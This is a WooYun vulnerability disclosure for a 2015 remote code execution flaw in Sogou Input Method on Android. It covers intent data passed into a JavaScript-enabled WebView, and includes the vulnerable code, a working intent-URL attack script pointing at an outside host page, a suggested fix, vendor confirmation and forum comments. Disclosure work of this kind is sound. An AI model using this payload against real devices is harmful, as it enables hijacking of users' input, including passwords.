当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089956

漏洞标题:搜狗输入法远程代码执行可以恶意利用劫持用户输入

相关厂商:搜狗

漏洞作者: hqdvista

提交时间:2015-01-05 11:16

修复时间:2015-04-05 11:18

公开时间:2015-04-05 11:18

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-05: 细节已通知厂商并且等待厂商处理中
2015-01-06: 厂商已经确认,细节仅向厂商公开
2015-01-09: 细节向第三方安全合作伙伴开放
2015-03-02: 细节向核心白帽子及相关领域专家公开
2015-03-12: 细节向普通白帽子公开
2015-03-22: 细节向实习白帽子公开
2015-04-05: 细节向公众公开

简要描述:

搜狗输入法远程代码执行,用户输入的所有内容包括密码均可一览无余

详细说明:

搜狗输入法最新版(7.2.2) 对intent传入参数处理不当,直接引入了jsinterface中,导致代码执行。同时由于搜狗输入法targetSDK过低,所有<=4.4.2的安卓设备均受影响。
0x01:
JADE静态检测发现一个如下taint path:

Taint source:
$r3 = virtualinvoke $r0.<sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity: android.content.Intent getIntent()>() on line 107 in method <sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity: void onCreate(android.os.Bundle)>
Taint path:
$r3 = virtualinvoke $r2.<java.lang.String: android.content.Intent getDataString()>() on line 112 in method <sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity: void processExtraData(android.content.Intent)>
Taint sink:
$r2.<com.tencent.smtt.sdk.WebView$SystemWebView: void loadUrl(java.lang.String)>($r1) on line 780 in method <com.tencent.smtt.sdk.WebView: void loadUrl(java.lang.String)>


调用关系图: onCreate -> processExtraData -> loadUrl
到这里已经可以引起钓鱼、file域跨域读取文件等问题了。然而后面还有更严重的问题
0x02: 同时静态检测也发现MiniWebViewActivity使用了addJavascriptInterface,同时此APK的targetSDK为7(Android 2.1),导致addjsinterface漏洞的影响范围扩大到了所有使用webview的Android设备,也就是<=4.4.2,根据友盟数据包括95%的国内安卓设备。
由于输入法应用的关键地位,其掌控了用户所有的输入内容,控制了输入法进程之后,所有用户的输入,包括密码、身份证等暴露无疑。

@SuppressLint(value={"SetJavaScriptEnabled"}) private void initWebView() {
LogUtil.i("Mini WebView", "-------- init webview -------");
/*omit*/
this.mWebView.addJavascriptInterface(new ContextShareInterface(), "sogoumse_interface");
this.mWebView.requestFocus();


使用intent scheme可将此问题拓展为远程代码执行

漏洞证明:

问题代码:

private void processExtraData(Intent arg3) {
if(arg3 != null && ("android.intent.action.VIEW".equals(arg3.getAction())) && arg3.getData()
!= null) {
this.recreateWebView();
this.mWebView.loadUrl(arg3.getDataString());
}
}


代码执行例子:在sdcard中写入文件

Screenshot from 2015-01-04 19:28:59.png


4.3依然受影响

Screenshot from 2015-01-04 19:23:06.png


Screenshot from 2015-01-04 19:30:34.png


远程攻击代码:
<script>
location.href = "intent:http://myqsc.sinaapp.com/fuck.html#Intent;SEL;component=com.sohu.inputmethod.sogou/sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity;end";
</script>

修复方案:

处理传入的url,更新targetSDK

版权声明:转载请注明来源 hqdvista@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-01-06 12:47

厂商回复:

感谢支持

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-05 11:17 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    我猜给5rank

  2. 2015-01-05 11:20 | 南宁网警Mx ( 路人 | Rank:8 漏洞数:5 | 我是独行侠。有心交友qq1552673833)

    2rank

  3. 2015-01-05 11:21 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    2-5rank已经给多你了

  4. 2015-01-05 11:23 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    无影响厂商忽略

  5. 2015-01-05 11:23 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    - - 咋回事,标题变了

  6. 2015-01-05 11:26 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    输入法的命令执行杀软的拒绝服务都是非常危险的.

  7. 2015-01-05 11:36 | Qiudays ( 路人 | Rank:10 漏洞数:9 | 感觉自己萌萌哒)

    永少你好...

  8. 2015-01-05 11:41 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Qiudays @瘦蛟舞 坐等洞主demo

  9. 2015-01-05 11:43 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    卧槽这个叼

  10. 2015-01-05 11:59 | xy小雨 ( 普通白帽子 | Rank:171 漏洞数:50 | 成为海贼王的男人)

    5rank拿好

  11. 2015-01-05 12:31 | 小威 ( 普通白帽子 | Rank:492 漏洞数:76 | 活到老,学到老!)

    3rank拿好

  12. 2015-01-05 16:11 | 鸟云厂商 认证白帽子 ( 核心白帽子 | Rank:1313 漏洞数:146 | 中国菜鸟)

    感谢支持,欢迎您在SGSRC平台提交漏洞

  13. 2015-01-05 18:18 | corse ( 路人 | Rank:0 漏洞数:1 | 学习账号,没事别乱评论)

    楼上正解,2rank拿好!

  14. 2015-01-05 18:20 | xsjswt ( 普通白帽子 | Rank:156 漏洞数:49 | 我思故我猥琐,我猥琐故我强大)

    我们已经冲其他渠道获取此漏洞,故忽略处理

  15. 2015-01-06 13:27 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    干的漂亮!

  16. 2015-01-13 11:05 | hqdvista ( 普通白帽子 | Rank:154 漏洞数:31 | N/A)

    演示视频地址: http://weibo.com/2214340953/BFgKwE8IN?type=repost

  17. 2015-01-13 12:29 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    牛,视频已欣赏!

  18. 2015-01-13 13:07 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

    毕竟天才少年

  19. 2015-01-27 01:12 | fox ( 普通白帽子 | Rank:159 漏洞数:16 | fox)

    @hqdvistalocation.href = "intent:"、这个需要浏览器支持把

  20. 2015-08-30 18:33 | 金枪银矛小霸王 ( 普通白帽子 | Rank:103 漏洞数:25 | 不会挖洞洞的猿猿不是好学生)

    @hqdvista 我想知道你是怎么让搜狗调用webview链接的